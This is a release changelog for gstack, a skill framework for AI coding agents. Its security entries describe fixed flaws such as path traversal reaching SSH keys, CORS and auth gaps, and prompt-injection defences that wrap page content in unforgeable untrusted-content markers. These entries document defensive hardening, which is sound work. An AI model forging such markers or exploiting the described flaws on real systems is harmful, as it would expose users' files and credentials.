All 16 pre-existing test failures fixed (pair-agent skill compliance, golden file baselines, host smoke tests, relink test timeouts).

[0.15.11.0] - 2026-04-05

Changed

/ship re-runs now execute every verification step (tests, coverage audit, review, adversarial, TODOS, document-release) regardless of prior runs. Only actions (push, PR creation, VERSION bump) are idempotent. Re-running /ship means "run the whole checklist again."

/ship now runs the full Review Army specialist dispatch (testing, maintainability, security, performance, data-migration, api-contract, design, red-team) during pre-landing review, matching /review's depth.

Added

Cross-review finding dedup in /ship: findings the user already skipped in a prior /review or /ship are automatically suppressed on re-run (unless the relevant code changed).

PR body refresh after /document-release: the PR body is re-edited to include the docs commit, so it always reflects the truly final state.

Fixed

Review Army diff size heuristic now counts insertions + deletions (was insertions-only, which missed deletion-heavy refactors).

For contributors

Extracted cross-review dedup to shared {{CROSS_REVIEW_DEDUP}} resolver (DRY between /review and /ship).

Review Army step numbers adapt per-skill via ctx.skillName (ship: 3.55/3.56, review: 4.5/4.6), including prose references.

Added 3 regression guard tests for new ship template content.

[0.15.10.0] - 2026-04-05. Native OpenClaw Skills + ClawHub Publishing

Four methodology skills you can install directly in your OpenClaw agent via ClawHub, no Claude Code session needed. Your agent runs them conversationally via Telegram.

Added

4 native OpenClaw skills on ClawHub. Install with clawhub install gstack-openclaw-office-hours gstack-openclaw-ceo-review gstack-openclaw-investigate gstack-openclaw-retro. Pure methodology, no gstack infrastructure. Office hours (375 lines), CEO review (193), investigate (136), retro (301).

AGENTS.md dispatch fix. Three behavioral rules that stop Wintermute from telling you to open Claude Code manually. It now spawns sessions itself. Ready-to-paste section at openclaw/agents-gstack-section.md.

Changed

OpenClaw includeSkills cleared. Native ClawHub skills replace the bloated generated versions (was 10-25K tokens each, now 136-375 lines of pure methodology).

docs/OPENCLAW.md updated with dispatch routing rules and ClawHub install references.

[0.15.9.0] - 2026-04-05. OpenClaw Integration v2

You can now connect gstack to OpenClaw as a methodology source. OpenClaw spawns Claude Code sessions natively via ACP, and gstack provides the planning discipline and thinking frameworks that make those sessions better.

Added

gstack-lite planning discipline. A 15-line CLAUDE.md that turns every spawned Claude Code session into a disciplined builder: read first, plan, resolve ambiguity, self-review, report. A/B tested: 2x time, meaningfully better output.

gstack-full pipeline template. For complete feature builds, chains /autoplan, implement, and /ship into one autonomous flow. Your orchestrator drops a task, gets back a PR.

4 native methodology skills for OpenClaw. Office hours, CEO review, investigate, and retro, adapted for conversational work that doesn't need a coding environment.

4-tier dispatch routing. Simple (no gstack), Medium (gstack-lite), Heavy (specific skill), Full (complete pipeline). Documented in docs/OPENCLAW.md with routing guide for OpenClaw's AGENTS.md.

Spawned session detection. Set OPENCLAW_SESSION env var and gstack auto-skips interactive prompts, focusing on task completion. Works for any orchestrator, not just OpenClaw.

includeSkills host config field. Union logic with skipSkills (include minus skip). Lets hosts generate only the skills they need instead of everything-minus-a-list.

docs/OPENCLAW.md. Full architecture doc explaining how gstack integrates with OpenClaw, the prompt-as-bridge model, and what we're NOT building (no daemon, no protocol, no Clawvisor).

Changed

OpenClaw host config updated: generates only 4 native skills instead of all 31. Removed staticFiles.SOUL.md (referenced non-existent file).

Setup script now prints redirect message for --host openclaw instead of attempting full installation.

[0.15.8.1] - 2026-04-05. Community PR Triage + Error Polish

Closed 12 redundant community PRs, merged 2 ready PRs (#798, #776), and expanded the friendly OpenAI error to every design command. If your org isn't verified, you now get a clear message with the right URL instead of a raw JSON dump, no matter which design command you run.

Fixed

Friendly OpenAI org error on all design commands. Previously only $D generate showed a user-friendly message when your org wasn't verified. Now $D evolve, $D iterate, $D variants, and $D check all show the same clear message with the verification URL.

Added

>128KB regression test for Codex session discovery. Documents the current buffer limitation so future Codex versions with larger session_meta will surface cleanly instead of silently breaking.

For contributors

Closed 12 redundant community PRs (6 Gonzih security fixes shipped in v0.15.7.0, 6 stedfn duplicates). Kept #752 open (symlink gap in design serve). Thank you @Gonzih, @stedfn, @itstimwhite for the contributions.

[0.15.8.0] - 2026-04-04. Smarter Reviews

Code reviews now learn from your decisions. Skip a finding once and it stays quiet until the code changes. Specialists auto-suggest test stubs alongside their findings. And silent specialists that never find anything get auto-gated so reviews stay fast.

Added

Cross-review finding dedup. When you skip a finding in one review, gstack remembers. On the next review, if the relevant code hasn't changed, the finding stays suppressed. No more re-skipping the same intentional pattern every PR.

Test stub suggestions. Specialists can now include a skeleton test alongside each finding. The test uses your project's detected framework (Jest, Vitest, RSpec, pytest, Go test). Findings with test stubs get surfaced as ASK items so you decide whether to create the test.

Adaptive specialist gating. Specialists that have been dispatched 10+ times with zero findings get auto-gated. Security and data-migration are exempt (insurance policies always run). Force any specialist back with --security, --performance, etc.

Per-specialist stats in review log. Every review now records which specialists ran, how many findings each produced, and which were skipped or gated. This powers the adaptive gating and gives /retro richer data.

[0.15.7.0] - 2026-04-05. Security Wave 1

Fourteen fixes for the security audit (#783). Design server no longer binds all interfaces. Path traversal, auth bypass, CORS wildcard, world-readable files, prompt injection, and symlink race conditions all closed. Community PRs from @Gonzih and @garagon included.

Fixed

Design server binds localhost only. Previously bound 0.0.0.0, meaning anyone on your WiFi could access mockups and hit all endpoints. Now 127.0.0.1 only, matching the browse server.

Path traversal on /api/reload blocked. Could previously read any file on disk (including ~/.ssh/id_rsa) by passing an arbitrary path in the JSON body. Now validates paths stay within cwd or tmpdir.

Auth gate on /inspector/events. SSE endpoint was unauthenticated while /activity/stream required tokens. Now both require the same Bearer or ?token= check.

Prompt injection defense in design feedback. User feedback is now wrapped in XML trust boundary markers with tag escaping. Accumulated feedback capped to last 5 iterations to limit poisoning.

File and directory permissions hardened. All ~/.gstack/ dirs now created with mode 0o700, files with 0o600. Setup script sets umask 077. Auth tokens, chat history, and browser logs no longer world-readable.

TOCTOU race in setup symlink creation. Removed existence check before mkdir -p (idempotent). Validates target isn't a symlink before creating the link.

CORS wildcard removed. Browse server no longer sends Access-Control-Allow-Origin: *. Chrome extension uses manifest host_permissions and isn't affected. Blocks malicious websites from making cross-origin requests.

Cookie picker auth mandatory. Previously skipped auth when authToken was undefined. Now always requires Bearer token for all data/action routes.

/health token gated on extension Origin. Auth token only returned when request comes from chrome-extension:// origin. Prevents token leak when browse server is tunneled.

DNS rebinding protection checks IPv6. AAAA records now validated alongside A records. Blocks fe80:: link-local addresses.

Symlink bypass in validateOutputPath. Real path resolved after lexical validation to catch symlinks inside safe directories.

URL validation on restoreState. Saved URLs validated before navigation to prevent state file tampering.

Telemetry endpoint uses anon key. Service role key (bypasses RLS) replaced with anon key for the public telemetry endpoint.

killAgent actually kills subprocess. Cross-process kill signaling via kill-file + polling.

[0.15.6.2] - 2026-04-04. Anti-Skip Review Rule

Review skills now enforce that every section gets evaluated, regardless of plan type. No more "this is a strategy doc so implementation sections don't apply." If a section genuinely has nothing to flag, say so and move on, but you have to look.

Added

Anti-skip rule in all 4 review skills. CEO review (sections 1-11), eng review (sections 1-4), design review (passes 1-7), and DX review (passes 1-8) all now require explicit evaluation of every section. Models can no longer skip sections by claiming the plan type makes them irrelevant.

CEO review header fix. Corrected "10 sections" to "11 sections" to match the actual section count (Section 11 is conditional but exists).

[0.15.6.1] - 2026-04-04

Fixed

Skill prefix self-healing. Setup now runs gstack-relink as a final consistency check after linking skills. If an interrupted setup, stale git state, or upgrade left your name: fields out of sync with skill_prefix: false, setup will auto-correct on the next run. No more /gstack-qa when you wanted /qa.

[0.15.6.0] - 2026-04-04. Declarative Multi-Host Platform

Adding a new coding agent to gstack used to mean touching 9 files and knowing the internals of gen-skill-docs.ts. Now it's one TypeScript config file and a re-export. Zero code changes elsewhere. Tests auto-parameterize.

Added

Declarative host config system. Every host is a typed HostConfig object in hosts/*.ts. The generator, setup, skill-check, platform-detect, uninstall, and worktree copy all consume configs instead of hardcoded switch statements. Adding a host = one file + re-export in hosts/index.ts.

4 new hosts: OpenCode, Slate, Cursor, OpenClaw. bun run gen:skill-docs --host all now generates for 8 hosts. Each produces valid SKILL.md output with zero .claude/skills path leakage.

OpenClaw adapter. OpenClaw gets a hybrid approach: config for paths/frontmatter/detection + a post-processing adapter for semantic tool mapping (Bash→exec, Agent→sessions_spawn, AskUserQuestion→prose). Includes SOUL.md via staticFiles config.

106 new tests. 71 tests for config validation, HOST_PATHS derivation, export CLI, golden-file regression, and per-host correctness. 35 parameterized smoke tests covering all 7 external hosts (output exists, no path leakage, frontmatter valid, freshness, skip rules).

host-config-export.ts CLI. Exposes host configs to bash scripts via list, get, detect, validate, symlinks commands. No YAML parsing needed in bash.

Contributor /gstack-contrib-add-host skill. Guides new host config creation. Lives in contrib/, excluded from user installs.

Golden-file baselines. Snapshots of ship/SKILL.md for Claude, Codex, and Factory verify the refactor produces identical output.

Per-host install instructions in README. Every supported agent has its own copy-paste install block.

Changed

gen-skill-docs.ts is now config-driven. EXTERNAL_HOST_CONFIG, transformFrontmatter host branches, path/tool rewrite if-chains, ALL_HOSTS array, and skill skip logic all replaced with config lookups.

types.ts derives Host type from configs. No more hardcoded 'claude' | 'codex' | 'factory'. HOST_PATHS built dynamically from each config's globalRoot/usesEnvVars.

Preamble, co-author trailer, resolver suppression all read from config. hostConfigDir, co-author strings, and suppressedResolvers driven by host configs instead of per-host switch statements.

skill-check.ts, worktree.ts, platform-detect iterate configs. No per-host blocks to maintain.

Fixed

Sidebar E2E tests now self-contained. Fixed stale URL assertion in sidebar-url-accuracy, simplified sidebar-css-interaction task. All 3 sidebar tests pass without external browser dependencies.

[0.15.5.0] - 2026-04-04. Interactive DX Review + Plan Mode Skill Fix

/plan-devex-review now feels like sitting down with a developer advocate who has used 100 CLI tools. Instead of speed-running 8 scores, it asks who your developer is, benchmarks you against competitors' onboarding times, makes you design your magical moment, and traces every friction point step by step before scoring anything.

Added

Developer persona interrogation. The review starts by asking WHO your developer is, with concrete archetypes (YC founder, platform engineer, frontend dev, OSS contributor). The persona shapes every question for the rest of the review.

Empathy narrative as conversation starter. A first-person "I'm a developer who just found your tool..." walkthrough gets shown to you for reaction before any scoring begins. You correct it, and the corrected version goes into the plan.

Competitive DX benchmarking. WebSearch finds your competitors' TTHW and onboarding approaches. You pick your target tier (Champion < 2min, Competitive 2-5min, or current trajectory). That target follows you through every pass.

Magical moment design. You choose how developers should experience the "oh wow" moment: playground, demo command, video, or guided tutorial, with effort/tradeoff analysis.

Three review modes. DX EXPANSION (push for best-in-class), DX POLISH (bulletproof every touchpoint), DX TRIAGE (critical gaps only, ship soon).

Friction-point journey tracing. Instead of a static table, the review traces actual README/docs paths and asks one AskUserQuestion per friction point found.

First-time developer roleplay. A timestamped confusion report from your persona's perspective, grounded in actual docs and code.

Fixed

Skill invocation during plan mode. When you invoke a skill (like /plan-ceo-review) during plan mode, Claude now treats it as executable instructions instead of ignoring it and trying to exit. The loaded skill takes precedence over generic plan mode behavior. STOP points actually stop. This fix ships in every skill's preamble.

[0.15.4.0] - 2026-04-03. Autoplan DX Integration + Docs

/autoplan now auto-detects developer-facing plans and runs /plan-devex-review as Phase 3.5, with full dual-voice adversarial review (Claude subagent + Codex). If your plan mentions APIs, CLIs, SDKs, agent actions, or anything developers integrate with, the DX review kicks in automatically. No extra commands needed.

Added

DX review in /autoplan. Phase 3.5 runs after Eng review when developer-facing scope is detected. Includes DX-specific dual voices, consensus table, and full 8-dimension scorecard. Triggers on APIs, CLIs, SDKs, shell commands, Claude Code skills, OpenClaw actions, MCP servers, and anything devs implement or debug.

"Which review?" comparison table in README. Quick reference showing which review to use for end users vs developers vs architecture, and when /autoplan covers all three.

/plan-devex-review and /devex-review in install instructions. Both skills now listed in the copy-paste install prompt so new users discover them immediately.

Changed

Autoplan pipeline order. Now CEO → Design → Eng → DX (was CEO → Design → Eng). DX runs last because it benefits from knowing the architecture.

[0.15.3.0] - 2026-04-03. Developer Experience Review

You can now review plans for DX quality before writing code. /plan-devex-review rates 8 dimensions (getting started, API design, error messages, docs, upgrade path, dev environment, community, measurement) on a 0-10 scale with trend tracking across reviews. After shipping, /devex-review uses the browse tool to actually test the live experience and compare against plan-stage scores.

Added

/plan-devex-review skill. Plan-stage DX review based on Addy Osmani's framework. Auto-detects product type (API, CLI, SDK, library, platform, docs, Claude Code skill). Includes developer empathy simulation, DX scorecard with trends, and a conditional Claude Code Skill DX checklist for reviewing skills themselves.

/devex-review skill. Live DX audit using the browse tool. Tests docs, getting started flows, error messages, and CLI help. Each dimension scored as TESTED, INFERRED, or N/A with screenshot evidence. Boomerang comparison: plan said TTHW would be 3 minutes, reality says 8.

DX Hall of Fame reference. On-demand examples from Stripe, Vercel, Elm, Rust, htmx, Tailwind, and more, loaded per review pass to avoid prompt bloat.

{{DX_FRAMEWORK}} resolver. Shared DX principles, characteristics, and scoring rubric for both skills. Compact (~150 lines) so it doesn't eat context.

DX Review in the dashboard. Both skills write to the review log and show up in the Review Readiness Dashboard alongside CEO, Eng, and Design reviews.

[0.15.2.1] - 2026-04-02. Setup Runs Migrations

git pull && ./setup now applies version migrations automatically. Previously, migrations only ran during /gstack-upgrade, so users who updated via git pull never got state fixes (like the skill directory restructure from v0.15.1.0). Now ./setup tracks the last version it ran at and applies any pending migrations on every run.

Fixed

Setup runs pending migrations. ./setup now checks ~/.gstack/.last-setup-version and runs any migration scripts newer than that version. No more broken skill directories after git pull.

Space-safe migration loop. Uses while read instead of for loop to handle paths with spaces correctly.

Fresh installs skip migrations. New installs write the version marker without running historical migrations that don't apply to them.

Future migration guard. Migrations for versions newer than the current VERSION are skipped, preventing premature execution from development branches.

Missing VERSION guard. If the VERSION file is absent, the version marker isn't written, preventing permanent migration poisoning.

[0.15.2.0] - 2026-04-02. Voice-Friendly Skill Triggers

Say "run a security check" instead of remembering /cso. Skills now have voice-friendly trigger phrases that work with AquaVoice, Whisper, and other speech-to-text tools. No more fighting with acronyms that get transcribed wrong ("CSO" -> "CEO" -> wrong skill).

Added

Voice triggers for 10 skills. Each skill gets natural-language aliases baked into its description. "see-so", "security review", "tech review", "code x", "speed test" and more. The right skill activates even when speech-to-text mangles the command name.

voice-triggers: YAML field in templates. Structured authoring: add aliases to any .tmpl frontmatter, gen-skill-docs folds them into the description during generation. Clean source, clean output.

Voice input section in README. New users know skills work with voice from day one.

voice-triggers documented in CONTRIBUTING.md. Frontmatter contract updated so contributors know the field exists.

[0.15.1.0] - 2026-04-01. Design Without Shotgun

You can now run /design-html without having to run /design-shotgun first. The skill detects what design context exists (CEO plans, design review artifacts, approved mockups) and asks how you want to proceed. Start from a plan, a description, or a provided PNG, not just an approved mockup.

Changed

/design-html works from any starting point. Three routing modes: (A) approved mockup from /design-shotgun, (B) CEO plan and/or design variants without formal approval, (C) clean slate with just a description. Each mode asks the right questions and proceeds accordingly.

AskUserQuestion for missing context. Instead of blocking with "no approved design found," the skill now offers choices: run the planning skills first, provide a PNG, or just describe what you want and design live.

Fixed

Skills now discovered as top-level names. Setup creates real directories with SKILL.md symlinks inside instead of directory symlinks. This fixes Claude auto-prefixing skill names with gstack- when using --no-prefix mode. /qa is now just /qa, not /gstack-qa.

[0.15.0.0] - 2026-04-01. Session Intelligence

Your AI sessions now remember what happened. Plans, reviews, checkpoints, and health scores survive context compaction and compound across sessions. Every skill writes a timeline event, and the preamble reads recent artifacts on startup so the agent knows where you left off.

Added

Session timeline. Every skill auto-logs start/complete events to timeline.jsonl. Local-only, never sent anywhere, always on regardless of telemetry setting. /retro can now show "this week: 3 /review, 2 /ship across 3 branches."

Context recovery. After compaction or session start, the preamble lists your recent CEO plans, checkpoints, and reviews. The agent reads the most recent one to recover decisions and progress without asking you to repeat yourself.

Cross-session injection. On session start, the preamble prints your last skill run on this branch and your latest checkpoint. You see "Last session: /review (success)" before typing anything.

Predictive skill suggestion. If your last 3 sessions on a branch follow a pattern (review, ship, review), gstack suggests what you probably want next.

Welcome back message. Sessions synthesize a one-paragraph briefing: branch name, last skill, checkpoint status, health score.

/checkpoint skill. Save and resume working state snapshots. Captures git state, decisions made, remaining work. Supports cross-branch listing for Conductor workspace handoff between agents.

/health skill. Code quality scorekeeper. Wraps your project's tools (tsc, biome, knip, shellcheck, tests), computes a composite 0-10 score, tracks trends over time. When the score drops, it tells you exactly what changed and where to fix it.

Timeline binaries. bin/gstack-timeline-log and bin/gstack-timeline-read for append-only JSONL timeline storage.

Routing rules. /checkpoint and /health added to the skill routing injection.

[0.14.6.0] - 2026-03-31. Recursive Self-Improvement

gstack now learns from its own mistakes. Every skill session captures operational failures (CLI errors, wrong approaches, project quirks) and surfaces them in future sessions. No setup needed, just works.

Added

Operational self-improvement. When a command fails or you hit a project-specific gotcha, gstack logs it. Next session, it remembers. "bun test needs --timeout 30000" or "login flow requires cookie import first" ... the kind of stuff that wastes 10 minutes every time you forget it.

Learnings summary in preamble. When your project has 5+ learnings, gstack shows the top 3 at the start of every session so you see them before you start working.

13 skills now learn. office-hours, plan-ceo-review, plan-eng-review, plan-design-review, design-review, design-consultation, cso, qa, qa-only, and retro all now read prior learnings AND contribute new ones. Previously only review, ship, and investigate were wired.

Changed

Contributor mode replaced. The old contributor mode (manual opt-in, markdown reports to ~/.gstack/contributor-logs/) never fired in 18 days of heavy use. Replaced with automatic operational learning that captures the same insights without any setup.

Fixed

learnings-show E2E test slug mismatch. The test seeded learnings at a hardcoded path but gstack-slug computed a different path at runtime. Now computes the slug dynamically.

[0.14.5.0] - 2026-03-31. Ship Idempotency + Skill Prefix Fix

Re-running /ship after a failed push or PR creation no longer double-bumps your version or duplicates your CHANGELOG. And if you use --prefix mode, your skill names actually work now.

Fixed

/ship is now idempotent (#649). If push succeeds but PR creation fails (API outage, rate limit), re-running /ship detects the already-bumped VERSION, skips the push if already up to date, and updates the existing PR body instead of creating a duplicate. The CHANGELOG step was already idempotent by design ("replace with unified entry"), so no guard needed there.

Skill prefix actually patches name: in SKILL.md (#620, #578). ./setup --prefix and gstack-relink now patch the name: field in each skill's SKILL.md frontmatter to match the prefix setting. Previously, symlinks were prefixed but Claude Code read the unprefixed name: field and ignored the prefix entirely. Edge cases handled: gstack-upgrade not double-prefixed, root gstack skill never prefixed, prefix removal restores original names.

gen-skill-docs warns when prefix patches need re-applying. After regenerating SKILL.md files, if skill_prefix: true is set in config, a warning reminds you to run gstack-relink.

PR idempotency checks open state. The PR guard now verifies the existing PR is OPEN, so closed PRs don't block new PR creation.

--no-prefix ordering bug. gstack-patch-names now runs before link_claude_skill_dirs so symlink names reflect the correct patched values.

Added

bin/gstack-patch-names shared helper. DRY extraction of the name-patching logic used by both setup and gstack-relink. Handles all edge cases (no frontmatter, already-prefixed, inherently-prefixed dirs) with portable mktemp + mv sed.

For contributors

4 unit tests for name: patching in relink.test.ts

2 tests for gen-skill-docs prefix warning

1 E2E test for ship idempotency (periodic tier)

Updated setupMockInstall to write SKILL.md with proper frontmatter

[0.14.4.0] - 2026-03-31. Review Army: Parallel Specialist Reviewers

Every /review now dispatches specialist subagents in parallel. Instead of one agent applying one giant checklist, you get focused reviewers for testing gaps, maintainability, security, performance, data migrations, API contracts, and adversarial red-teaming. Each specialist reads the diff independently with fresh context, outputs structured JSON findings, and the main agent merges, deduplicates, and boosts confidence when multiple specialists flag the same issue. Small diffs (<50 lines) skip specialists entirely for speed. Large diffs (200+ lines) activate the Red Team for adversarial analysis on top.

Added

7 specialist reviewers running in parallel via Agent tool subagents. Always-on: Testing + Maintainability. Conditional: Security (auth scope), Performance (backend/frontend), Data Migration (migration files), API Contract (controllers/routes), Red Team (large diffs or critical findings).

JSON finding schema. Specialists output structured JSON objects with severity, confidence, path, line, category, fix, and fingerprint fields. Reliable parsing, no more pipe-delimited text.

Fingerprint-based dedup. When two specialists flag the same file:line:category, the finding gets boosted confidence and a "MULTI-SPECIALIST CONFIRMED" marker.

PR Quality Score. Every review computes a 0-10 quality score: 10 - (critical * 2 + informational * 0.5). Logged to review history for trending via /retro.

3 new diff-scope signals. gstack-diff-scope now detects SCOPE_MIGRATIONS, SCOPE_API, and SCOPE_AUTH to activate the right specialists.

Learning-informed specialist prompts. Each specialist gets past learnings for its domain injected into the prompt, so reviews get smarter over time.

14 new diff-scope tests covering all 9 scope signals including the 3 new ones.

7 new E2E tests (5 gate, 2 periodic) covering migration safety, N+1 detection, delivery audit, quality score, JSON schema compliance, red team activation, and multi-specialist consensus.

Changed

Review checklist refactored. Categories now covered by specialists (test gaps, dead code, magic numbers, performance, crypto) removed from the main checklist. Main agent focuses on CRITICAL pass only.

Delivery Integrity enhanced. The existing plan completion audit now investigates WHY items are missing (not just that they're missing) and logs plan-file discrepancies as learnings. Commit-message inference is informational only, never persisted.

[0.14.3.0] - 2026-03-31. Always-On Adversarial Review + Scope Drift + Plan Mode Design Tools

Every code review now runs adversarial analysis from both Claude and Codex, regardless of diff size. A 5-line auth change gets the same cross-model scrutiny as a 500-line feature. The old "skip adversarial for small diffs" heuristic is gone... diff size was never a good proxy for risk.

Added

Always-on adversarial review. Every /review and /ship run now dispatches both a Claude adversarial subagent and a Codex adversarial challenge. No more tier-based skipping. The Codex structured review (formal P1 pass/fail gate) still runs on large diffs (200+ lines) where the formal gate adds value.

Scope drift detection in /ship. Before shipping, /ship now checks whether you built what you said you'd build, nothing more, nothing less. Catches scope creep ("while I was in there..." changes) and missing requirements. Results appear in the PR body.

Plan Mode Safe Operations. Browse screenshots, design mockups, Codex outside voices, and writing to ~/.gstack/ are now explicitly allowed in plan mode. Design-related skills (/design-consultation, /design-shotgun, /design-html, /plan-design-review) can generate visual artifacts during planning without fighting plan mode restrictions.

Changed

Adversarial opt-out split. The legacy codex_reviews=disabled config now only gates Codex passes. Claude adversarial subagent always runs since it's free and fast. Previously the kill switch disabled everything.

Cross-model tension format. Outside voice disagreements now include RECOMMENDATION and Completeness scores, matching the standard AskUserQuestion format used everywhere else in gstack.

Scope drift is now a shared resolver. Extracted from /review into generateScopeDrift() so both /review and /ship use the same logic. DRY.

[0.14.2.0] - 2026-03-30. Sidebar CSS Inspector + Per-Tab Agents

The sidebar is now a visual design tool. Pick any element on the page and see the full CSS rule cascade, box model, and computed styles right in the Side Panel. Edit styles live and see changes instantly. Each browser tab gets its own independent agent, so you can work on multiple pages simultaneously without cross-talk. Cleanup is LLM-powered... the agent snapshots the page, understands it semantically, and removes the junk while keeping the site's identity.

Added

CSS Inspector in the sidebar. Click "Pick Element", hover over anything, click it, and the sidebar shows the full CSS rule cascade with specificity badges, source file:line, box model visualization (gstack palette colors), and computed styles. Like Chrome DevTools, but inside the sidebar.

Live style editing. $B style .selector property value modifies CSS rules in real time via CDP. Changes show instantly on the page. Undo with $B style --undo.

Per-tab agents. Each browser tab gets its own Claude agent process via BROWSE_TAB env var. Switch tabs in the browser and the sidebar swaps to that tab's chat history. Ask questions about different pages in parallel without agents fighting over which tab is active.

Tab tracking. User-created tabs (Cmd+T, right-click "Open in new tab") are automatically tracked via context.on('page'). The sidebar tab bar updates in real time. Click a tab in the sidebar to switch the browser. Close a tab and it disappears.

LLM-powered page cleanup. The cleanup button sends a prompt to the sidebar agent (which IS an LLM). The agent runs a deterministic first pass, snapshots the page, analyzes what's left, and removes clutter intelligently while preserving site branding. Works on any site without brittle CSS selectors.

Pretty screenshots. $B prettyscreenshot --cleanup --scroll-to ".pricing" ~/Desktop/hero.png combines cleanup, scroll positioning, and screenshot in one command.

Stop button. A red stop button appears in the sidebar when an agent is working. Click it to cancel the current task.

CSP fallback for inspector. Sites with strict Content Security Policy (like SF Chronicle) now get a basic picker via the always-loaded content script. You see computed styles, box model, and same-origin CSS rules. Full CDP mode on sites that allow it.

Cleanup + Screenshot buttons in chat toolbar. Not hidden in debug... right there in the chat. Disabled when disconnected so you don't get error spam.

Fixed

Inspector message allowlist. The background.js allowlist was missing all inspector message types, silently rejecting them. The inspector was broken for all pages, not just CSP-restricted ones. (Found by Codex review.)

Sticky nav preservation. Cleanup no longer removes the site's top nav bar. Sorts sticky elements by position and preserves the first full-width element near the top.

Agent won't stop. System prompt now tells the agent to be concise and stop when done. No more endless screenshot-and-highlight loops.

Focus stealing. Agent commands no longer pull Chrome to the foreground. Internal tab pinning uses bringToFront: false.

Chat message dedup. Old messages from previous sessions no longer repeat on reconnect.

Changed

Sidebar banner now says "Browser co-pilot" instead of the old mode-specific text.

Input placeholder is "Ask about this page..." (more inviting than the old placeholder).

System prompt includes prompt injection defense and allowed-commands whitelist from the security audit.

[0.14.1.0] - 2026-03-30. Comparison Board is the Chooser

The design comparison board now always opens automatically when reviewing variants. No more inline image + "which do you prefer?". the board has rating controls, comments, remix/regenerate buttons, and structured feedback output. That's the experience. All 3 design skills (/plan-design-review, /design-shotgun, /design-consultation) get this fix.

Changed

Comparison board is now mandatory. After generating design variants, the agent creates a comparison board with $D compare --serve and sends you the URL via AskUserQuestion. You interact with the board, click Submit, and the agent reads your structured feedback from feedback.json. No more polling loops as the primary wait mechanism.

AskUserQuestion is the wait, not the chooser. The agent uses AskUserQuestion to tell you the board is open and wait for you to finish, not to present variants inline and ask for preferences. The board URL is always included so you can click through if you lost the tab.

Serve-failure fallback improved. If the comparison board server can't start, variants are shown inline via Read tool before asking for preferences. you're no longer choosing blind.

Fixed

Board URL corrected. The recovery URL now points to http://127.0.0.1:<PORT>/ (where the server actually serves) instead of /design-board.html (which would 404).

[0.14.0.0] - 2026-03-30. Design to Code

You can now go from an approved design mockup to production-quality HTML with one command. /design-html takes the winning design from /design-shotgun and generates Pretext-native HTML where text actually reflows on resize, heights adjust to content, and layouts are dynamic. No more hardcoded CSS heights or broken text overflow.

Added

/design-html skill. Takes an approved mockup from /design-shotgun and generates self-contained HTML with Pretext for computed text layout. Smart API routing picks the right Pretext patterns for each design type (simple layouts, card grids, chat bubbles, editorial spreads). Includes a refinement loop where you preview in browser, give feedback, and iterate until it's right.

Pretext vendored. 30KB Pretext source bundled in design-html/vendor/pretext.js for offline, zero-dependency HTML output. Framework output (React/Svelte/Vue) uses npm install instead.

Design pipeline chaining. /design-shotgun Step 6 now offers /design-html as the next step. /design-consultation suggests it after producing screen-level designs. /plan-design-review chains to both /design-shotgun and /design-html alongside review skills.

Changed

/plan-design-review next steps expanded. Previously only chained to other review skills. Now also offers /design-shotgun (explore variants) and /design-html (generate HTML from approved mockups).

[0.13.10.0] - 2026-03-29. Office Hours Gets a Reading List

Repeat /office-hours users now get fresh, curated resources every session instead of the same YC closing. 34 hand-picked videos and essays from Garry Tan, Lightcone Podcast, YC Startup School, and Paul Graham, contextually matched to what came up during the session. The system remembers what it already showed you, so you never see the same recommendation twice.

Added

Rotating founder resources in /office-hours closing. 34 curated resources across 5 categories (Garry Tan videos, YC Backstory, Lightcone Podcast, YC Startup School, Paul Graham essays). Claude picks 2-3 per session based on session context, not randomly.

Resource dedup log. Tracks which resources were shown in ~/.gstack/projects/$SLUG/resources-shown.jsonl so repeat users always see fresh content.

Resource selection analytics. Logs which resources get picked to skill-usage.jsonl so you can see patterns over time.

Browser-open offer. After showing resources, offers to open them in your browser so you can check them out later.

Fixed

Build script chmod safety net. bun build --compile output now gets chmod +x explicitly, preventing "permission denied" errors when binaries lose execute permission during workspace cloning or file transfer.

[0.13.9.0] - 2026-03-29. Composable Skills

Skills can now load other skills inline. Write {{INVOKE_SKILL:office-hours}} in a template and the generator emits the right "read file, skip preamble, follow instructions" prose automatically. Handles host-aware paths and customizable skip lists.

Added

{{INVOKE_SKILL:skill-name}} resolver. Composable skill loading as a first-class resolver. Emits host-aware prose that tells Claude or Codex to read another skill's SKILL.md and follow it inline, skipping preamble sections. Supports optional skip= parameter for additional sections to skip.

Parameterized resolver support. The placeholder regex now handles {{NAME:arg1:arg2}}, enabling resolvers that take arguments at generation time. Fully backward compatible with existing {{NAME}} patterns.

{{CHANGELOG_WORKFLOW}} resolver. Changelog generation logic extracted from /ship into a reusable resolver. Includes voice guidance ("lead with what the user can now do") inline.

Frontmatter name: for skill registration. Setup script and gen-skill-docs now read name: from SKILL.md frontmatter for symlink naming. Enables directory names that differ from invocation names (e.g., run-tests/ directory registered as /test).

Proactive skill routing. Skills now ask once to add routing rules to your project's CLAUDE.md. This makes Claude invoke the right skill automatically instead of answering directly. Your choice is remembered in ~/.gstack/config.yaml.

Annotated config file. ~/.gstack/config.yaml now gets a documented header on first creation explaining every setting. Edit it anytime.

Changed

BENEFITS_FROM now delegates to INVOKE_SKILL. Eliminated duplicated skip-list logic. The prerequisite offer wrapper stays in BENEFITS_FROM, but the actual "read and follow" instructions come from INVOKE_SKILL.

/plan-ceo-review mid-session fallback uses INVOKE_SKILL. The "user can't articulate the problem, offer /office-hours" path now uses the composable resolver instead of inline prose.

Stronger routing language. office-hours, investigate, and ship descriptions now say "Proactively invoke" instead of "Proactively suggest" for more reliable automatic skill invocation.

Fixed

Config grep anchored to line start. Commented header lines no longer shadow real config values.

[0.13.8.0] - 2026-03-29. Security Audit Round 2

Browse output is now wrapped in trust boundary markers so agents can tell page content from tool output. Markers are escape-proof. The Chrome extension validates message senders. CDP binds to localhost only. Bun installs use checksum verification.

Fixed

Trust boundary markers are escape-proof. URLs sanitized (no newlines), marker strings escaped in content. A malicious page can't forge the END marker to break out of the untrusted block.

Added

Content trust boundary markers. Every browse command that returns page content (text, html, links, forms, accessibility, console, dialog, snapshot, diff, resume, watch stop) wraps output in --- BEGIN/END UNTRUSTED EXTERNAL CONTENT --- markers. Agents know what's page content vs tool output.

Extension sender validation. Chrome extension rejects messages from unknown senders and enforces a message type allowlist. Prevents cross-extension message spoofing.

CDP localhost-only binding. bin/chrome-cdp now passes --remote-debugging-address=127.0.0.1 and --remote-allow-origins to prevent remote debugging exposure.

Checksum-verified bun install. The browse SKILL.md bootstrap now downloads the bun install script to a temp file and verifies SHA-256 before executing. No more piping curl to bash.

Removed

Factory Droid support. Removed --host factory, .factory/ generated skills, Factory CI checks, and all Factory-specific code paths.

